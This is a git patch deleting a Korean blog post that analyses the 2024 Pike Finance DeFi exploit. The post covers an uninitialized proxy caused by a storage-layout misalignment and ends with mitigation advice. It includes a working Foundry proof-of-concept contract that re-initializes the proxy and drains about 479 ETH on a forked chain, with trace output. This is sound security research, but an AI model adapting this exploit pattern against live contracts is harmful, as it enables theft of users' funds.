From e439fdb7b2085bcde6872ede0cf46af7c0a33428 Mon Sep 17 00:00:00 2001 From: Songhyun Bae Date: Tue, 15 Oct 2024 15:08:27 +0900 Subject: [PATCH] Delete _posts/2024-09-15-Pike-Finance-Exploit-Analysis.md --- ...024-09-15-Pike-Finance-Exploit-Analysis.md | 337 ------------------ 1 file changed, 337 deletions(-) delete mode 100644 _posts/2024-09-15-Pike-Finance-Exploit-Analysis.md diff --git a/_posts/2024-09-15-Pike-Finance-Exploit-Analysis.md b/_posts/2024-09-15-Pike-Finance-Exploit-Analysis.md deleted file mode 100644 index aec2f6eaa0..0000000000 --- a/_posts/2024-09-15-Pike-Finance-Exploit-Analysis.md +++ /dev/null @@ -1,337 +0,0 @@ ---- -layout: post -title: "Pike Finance Exploit Analysis" -categories: - - Incident Analysis - - Web3 -author: Songhyun Bae ---- - -2024년 4월 30일, Pike Finance는 초기화되지 않은 프록시(proxy)로 인한 공격을 받았으며, 그 결과 총 140만 달러 이상의 손실이 발생했다. 이 취약점이 발생한 원인을 분석해보자. - -익스플로잇에 사용된 트랜잭션은 `0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431` 이다. - -
- -## 01. Pike Finance 서비스 분석 - -Pike Finance는 탈중앙화 금융(DeFi) 플랫폼으로, 다양한 블록체인 간에 유동성을 제공하는 것을 목표로 하는 서비스이다. 사용자는 하나의 블록체인에서 담보를 예치하고 다른 블록체인에서 대출을 받을 수 있으며, Wormhole 및 Circle의 Cross-Chain Transfer Protocol과 같은 크로스체인 메시징 및 전송 프로토콜을 활용한다. - -이번 공격이 발생한 Contract는 Pike Beta protocol을 구성하는 Defi 관련 Spoke 계약이다. - -
- -## 02. 익스플로잇 분석 - -### 02.1 블록 탐색기, 트랜잭션 뷰어를 통한 기본 정보 수집 - -Pike Finance Exploit의 TxHash는 다음과 같다. 해당 공격은 2024년 4월 30일 10:19:11 PM UTC에 발생했다. `0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431` - -대부분의 체인에는 탐색기가 존재한다. 이더리움의 경우 etherscan이라는 블록 탐색기가 존재하고 이를 통해 해당 Tx에 대한 간단한 정보들을 수집할 수 있다. [[eterscan 링크]](https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431) - -``` -- From: 0x19066f7431df29A0910d287C8822936Bb7D89E23 Attacker) -- To: 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd Attack Contract) - - Transfer: 479.393838338750964434 ETH - - Transfer from: 0xfc7599cffea9de127a9f9c748ccb451a34d2f063 (Vulnerable Contract) - - To: 0x19066f7431df29A0910d287C8822936Bb7D89E23 (Attacker) -- Input Data: 0xf2afdff3 함수 호출 -``` - -추가로 강력한 트랜잭션 뷰어인 phalcon을 이용하여 트랜잭션에 대한 자세한 정보들을 쉽게 수집할 수 있다.[[phalcon 링크]](https://app.blocksec.com/explorer/tx/eth/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431?line=9) - -먼저 State Changes된 값을 한눈에 확인할 수 있다. -![image](https://github.com/user-attachments/assets/579412eb-0672-4dfc-93d9-47760dc61f32) - -익스플로잇 트랜잭션에서 공격받은 컨트랙트 0xfc7599cffea9de127a9f9c748ccb451a34d2f063에서 State 변화가 발생했으며, EIP1967 Logic Contract 주소가 Attack Contract인 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd로 변경된 것을 확인할 수 있다. (phalcon의 경우 어떤 슬롯에 어떤 데이터가 저장되어 있는지를 보고 어떤 EIP를 따르고 있는지 자동으로 분석해준다.) - -이를 통해 Logic 주소 재정의를 통해 모든 자금을 드레인한 것으로 예상할 수 있다. 또한 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7 주소가 기존의 logic Contract임을 알 수 있다. - -그리고 Invocation Flow를 통해 트랜잭션의 호출 흐름을 시각화해서 볼 수 있다. -![image](https://github.com/user-attachments/assets/40f64c53-4e18-444f-a3b4-3426a9ffd985) - -Invocation Flow를 보면 예상대로 `initialize` 함수를 통해 새로운 logic Contract를 정의해주고 있고 `ugradeToAndCall` 함수를 통해 새로운 logic contract로 업그레이드함과 동시에 모든 자금을 Attack Address로 보내고 있다. - -| 설명 | 주소 | -| --- | --- | -| Attack Tx | 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431 | -| Attacker | 0x19066f7431df29A0910d287C8822936Bb7D89E23 | -| Attack Contract | 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd | -| Vulnerable Contract | 0xfc7599cffea9de127a9f9c748ccb451a34d2f063 | -| Logic Contract | 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7 | - -### 02.2 루트 커즈 분석 - -Vulnerable Contract와 Logic Contract 둘 다 contract code가 etherscan에 공개되어 있지 않다. 이 경우 Bytecode를 해석해야한다. - -이 때 사용할 수 있는 툴이 디컴파일러이다. dedaub 디컴파일러를 이용하여 쉽게 디컴파일을 진행할 수 있다. - -- [Vulnerable Contract Decompiled](https://app.dedaub.com/ethereum/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063/decompiled) -- [Logic Contract Decompiled](https://app.dedaub.com/ethereum/address/0xb30c120eb92c120bf11b358b4b9961e6679b6ae7/decompiled) - -먼저 Vulnerable Contract를 디컴파일한 결과이다. 이 컨트랙트는 모든 트랜잭션을 delegatecall을 통해 처리하는 전형적인 프록시 컨트랙트의 모습이다. 공격자가 호출한 함수는 모두 Logic Contract에 존재한다. - -```solidity -// Decompiled by library.dedaub.com -// 2024.05.28 15:11 UTC -// Compiled using the solidity compiler version 0.8.20 - -// Data structures and variables inferred from the use of storage instructions -address ___function_selector__; // STORAGE[0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc] bytes 0 to 19 - -// Note: The function selector is not present in the original solidity code. -// However, we display it for the sake of completeness. - -function function_selector() public payable { - MEM[64] = 128; - if (!msg.data.length) { - } - CALLDATACOPY(0, 0, msg.data.length); - v0 = ___function_selector__.delegatecall(MEM[0:msg.data.length], MEM[0:0]).gas(msg.gas); - require(v0, 0, RETURNDATASIZE()); // checks call status, propagates error data on error - return MEM[0:RETURNDATASIZE()]; -} -``` - -다음으로 Logic Contract 중 공격자가 가장 먼저 호출한 함수인 `initialize`의 디컴파일된 모습이다. `initialize` 함수는 contract를 처음 초기화하는 역할을 한다. 해당 함수를 통해 공격자는 _isActive 값을 자신이 생성한 악성 contract로 설정할 수 있다. - -```solidity -function initialize(address _console, address _rng, address _vault, address _gameProvider, uint16 _minPos, uint16 _maxPos) public nonPayable { - require(msg.data.length - 4 >= 192); - v0 = v1 = !_initialize; - if (!_initialize) { - v0 = v2 = stor_b_1_1 < 1; - } - if (!v0) { - v0 = v3 = !this.code.size; - if (!bool(this.code.size)) { - v0 = 1 == stor_b_1_1; - } - } - require(v0, Error('Initializable: contract is already initialized')); - stor_b_1_1 = 1; - if (!_initialize) { - _initialize = 1; - } - _gateway = _console; - owner_2_0_19 = _rng; - _endpoint = _vault; - stor_4_0_19 = _gameProvider; - _isActive = 0x1 | (bytes31(msg.sender << 40) | 0xffffffffffffff0000000000000000000000000000000000000000ffffffff00 & (_maxPos << 24 | (0xffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffff & _minPos << 8 | _isActive & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ff))); - _nativeAsset = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; - if (!_initialize) { - _initialize = 0; - emit Initialized(1); - } -} -``` - -이후 공격자는 `upgradeToAndCall` 함수를 통해 logic contract를 악의적으로 _isActive 값으로 업그레이드하고 악성 행동을 수행할 수 있다. - -```solidity -function upgradeToAndCall(address newImplementation, bytes data) public payable { - require(msg.data.length - 4 >= 64); - require(data <= uint64.max); - require(4 + data + 31 < msg.data.length); - require(data.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory) - v0 = new bytes[](data.length); - require(!((v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) < v0) | (v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory) - require(4 + data + data.length + 32 <= msg.data.length); - CALLDATACOPY(v0.data, data.data, data.length); - v0[data.length] = 0; - require(this - address(0xb30c120eb92c120bf11b358b4b9961e6679b6ae7), Error('Function must be called through delegatecall')); - require(_upgradeTo == address(0xb30c120eb92c120bf11b358b4b9961e6679b6ae7), Error('Function must be called through active proxy')); - require(msg.sender == address(_isActive >> 40), CallerNotAuthorized()); - 0x1692(1, v0, newImplementation); -} -``` - -하지만 보통의 상황에서는 `initialize` 함수는 한 번 이상 호출할 없다. - -Vulnerable Contract를 처음 생선한 트랜젝션을 보면, Contract를 생성하는 동시에 `initialize` 함수를 호출하여 적절히 초기화하고 있다. 따라서, 원칙적으로 공격자는 initialize 함수를 다시 호출할 수 없다. - -![image](https://github.com/user-attachments/assets/63a4d4fb-c7d8-4ddc-aab0-d3efcb797749) - -그러면 해당 취약점은 왜 발생했을까? - -### 02.3 왜 이런 일이 일어났을까? - -`initialize` 함수를 한번 더 호출할 수 있는 이유는 Contract를 Upgrade하면서 발생한 storage misalignment 문제 때문이다. - -PikiFinace는 해당 공격이 발생하기 몇일 전 공격을 받았고 이를 조사하기 위해 Contract를 Pause하고자 하였다. 하지만 Vulnerable Contract에는 해당 기능이 구현되어 있지 않아 Logic Contract 업그레이드를 진행했다. 이더스캔의 Event 탭을 통해 어떻게 Logic Contract가 어떻게 Upgrade 됬는지 확인할 수 있다. - -![image](https://github.com/user-attachments/assets/b5926410-62d1-4678-b524-95283b52dc60) - -| Logic Contract 분류 | 주소 | -| --- | --- | -| 기존 Contract | 0x634683d7079af2ebec84637bbc29dbd6fe817564 | -| Pause 기능 추가 Contract | 0xd167a1893e8f108572826dabae19663a9131b0c2 | -| 공격 발생 Contract | 0xb30c120eb92c120bf11b358b4b9961e6679b6ae7 | - -각 Contract에 어떠한 변화가 있는지 디컴파일한 후 확인해보자. 먼저 기존 Contract의 Data structures를 보면 다음과 같다. - -![image](https://github.com/user-attachments/assets/17019b62-9160-405f-820c-acca8ba40632) - - -다음은 Pause 기능이 추가된 Contract의 Data structures이다. 11번째 줄에 pause 기능을 지원하는 변수가 추가된 것을 볼 수 있다. - -![image](https://github.com/user-attachments/assets/4dd81833-c447-4606-941d-00e1478e19d6) - - -하지만 여기서 `_paused` 변수가 `STORAGE[0xb]의 bytes 0 to 0`에 위치하게 되면서 초기화 상태를 정의하는 변수인 `_initialize`가 `STORAGE[0xb]의 bytes 1 to 1`에서 `STORAGE[0xb]의 bytes 2 to 2`로 변경되었다. 이로 인해 Contract의 초기화 상태를 정의하는 `_initialize` 변수가 0의 값을 가지게 된다. - -공경 당한 Logic Contract에서도 여전히 같은 문제가 존재한다. -![image](https://github.com/user-attachments/assets/059fb707-a720-4736-b373-68ab3a93a14e) - - -결과적으로 계약이 초기화되지 않은 상태로 잘못 인식되게 되고 공격자가 한번 더 `initialize` 함수를 호출할 수 있게 된다. 즉 pause 기능을 제공하는 새로운 라이브러리를 추가하는 과정에서 storage layout이 변경되는 것을 고려하지 못한 탓에 해당 취약점이 발생했다. - -
- -## 03. 취약점 패치 방안 - -Storage misalignment과 같은 storage layout 관련된 오류를 막기 위해서, 여러 가지 방법을 적용할 수 있다. 먼저 상태 변수 선언 순서를 엄격히 준수해야한다. 상속받는 모든 계약에서 상태 변수 선언 순서를 명확히 하고, 상위 계약의 변수 뒤에 순차적으로 새로운 변수를 추가함으로써 상태 변수의 슬롯이 잘못 배정되는 문제를 방지해야한다. - -또한 permanent storage pattern을 이용하면 상태 변수가 덮어씌워질 걱정 없이 Logic Contract를 업그레이드할 수 있다. permanent storage pattern은 상태 변수를 별도의 Storage Contract에 저장하는 방식으로, Logic Contract는 이 Storage Contract를 참조하여 데이터를 읽고 쓴다. 이렇게 하면 Logic Contract를 업그레이드하더라도 상태 변수는 변경되지 않으며, 데이터의 일관성을 유지할 수 있다. - -이 외에도, namespaced storage layout을 활용할 수 있다. Namespaced storage layout은 각 컨트랙트가 고유의 네임스페이스를 사용하여 상태 변수를 저장하는 방식이다. 이를 통해 변수 간의 충돌을 방지하고, 각 컨트랙트의 상태 변수를 독립적으로 관리할 수 있다. - -
- -## 04. PoC를 통한 취약점 재현 - -foundry를 이용하여 PoC 코드를 작성할 수 있다. - -```solidity -// SPDX-License-Identifier: MIT -pragma solidity 0.8.15; - -import {Test} from "forge-std/Test.sol"; -import {console} from "forge-std/console.sol"; - -interface IPikeFinance { - function initialize(address,address,address,address,uint16,uint16) external; - function upgradeToAndCall(address,bytes memory) external; -} - -contract AttackContract { - address target; - address owner; - - constructor(address _owner, address _target) { - owner = _owner; - target = _target; - } - - function attack() public { - // 최기화 진행 - IPikeFinance(target).initialize(address(this), address(this), address(this), address(this), 20, 20); - - // Logic Contract 업그레이드, withdraw 함수 호출 - bytes memory data = abi.encodeWithSignature("withdraw(address)", address(owner)); - IPikeFinance(target).upgradeToAndCall(address(this), data); - } - - // 모든 자금을 attacker에게 보내는 함수 - function withdraw(address addr) external { - (bool success, ) = payable(addr).call{value: address(this).balance}(""); - require(success, "transfer failed"); - } - - // 업그레이드 가능한 프록시 계약임을 표시 (proxiableUUID 반환) - function proxiableUUID() external pure returns(bytes32){ - return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; - } - - receive() external payable {} -} - -contract Exploit is Test { - uint256 blocknum = 19771058; // Attack Tx의 Blocknum보다 1 작게 - address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063; - - address hacker; - AttackContract attackcontractInstance; - - function setUp() public { - vm.createSelectFork("https://rpc.ankr.com/eth", blocknum); - - // hacker 생성 - hacker = payable(vm.addr(0x1)); - vm.label(hacker, "hacker"); - vm.label(0xFC7599cfFea9De127a9f9C748CCb451a34d2F063, "PikeFinanceProxy"); - vm.deal(hacker, 0); - } - - function testExploit() public { - vm.startPrank(hacker); - console.log("Before Hacker balance: ", hacker.balance); - - // 공격 수행 - attackcontractInstance = new AttackContract(hacker, PikeFinanceProxy); - attackcontractInstance.attack(); - - console.log("After Hacker balance: ", hacker.balance); - vm.stopPrank(); - } -} -``` - -실행 결과 - -```bash -➜ PikeFinance_2024-04 git:(master) ✗ forge test --mc Exploit -vvvv -[⠊] Compiling... -[⠘] Compiling 1 files with Solc 0.8.15 -[⠃] Solc 0.8.15 finished in 1.72s -Compiler run successful! - -Ran 1 test for test/PikeFinance.t.sol:Exploit -[PASS] testExploit() (gas: 343691) -Logs: - Before Hacker balance: 0 - After Hacker balance: 479393838338750964434 - -Traces: - [343691] Exploit::testExploit() - ├─ [0] VM::startPrank(hacker: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf]) - │ └─ ← [Return] - ├─ [0] console::log("Before Hacker balance: ", 0) [staticcall] - │ └─ ← [Stop] - ├─ [214630] → new AttackContract@0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4 - │ └─ ← [Return] 849 bytes of code - ├─ [61611] AttackContract::attack() - │ ├─ [40247] PikeFinanceProxy::initialize(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 20, 20) - │ │ ├─ [35325] 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7::initialize(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 20, 20) [delegatecall] - │ │ │ ├─ emit Initialized(: 1) - │ │ │ └─ ← [Stop] - │ │ └─ ← [Return] - │ ├─ [17020] PikeFinanceProxy::upgradeToAndCall(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 0x51cff8d90000000000000000000000007e5f4552091a69125d5dfcb7b8c2659029395bdf) - │ │ ├─ [16604] 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7::upgradeToAndCall(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 0x51cff8d90000000000000000000000007e5f4552091a69125d5dfcb7b8c2659029395bdf) [delegatecall] - │ │ │ ├─ [168] AttackContract::proxiableUUID() [staticcall] - │ │ │ │ └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc - │ │ │ ├─ emit Upgraded(param0: AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4]) - │ │ │ ├─ [7185] AttackContract::withdraw(hacker: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf]) [delegatecall] - │ │ │ │ ├─ [0] hacker::fallback{value: 479393838338750964434}() - │ │ │ │ │ └─ ← [Stop] - │ │ │ │ └─ ← [Stop] - │ │ │ └─ ← [Stop] - │ │ └─ ← [Return] - │ └─ ← [Stop] - ├─ [0] console::log("After Hacker balance: ", 479393838338750964434 [4.793e20]) [staticcall] - │ └─ ← [Stop] - ├─ [0] VM::stopPrank() - │ └─ ← [Return] - └─ ← [Stop] - -Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 424.12ms (1.11ms CPU time) - -Ran 1 test suite in 969.87ms (424.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) -``` -
- -## 05. Reference - -- [https://www.pike.finance/](https://www.pike.finance/) -- [https://docs.pike.finance/](https://docs.pike.finance/) -- [https://twitter.com/PikeFinance/status/1785572875124330644](https://twitter.com/PikeFinance/status/1785572875124330644)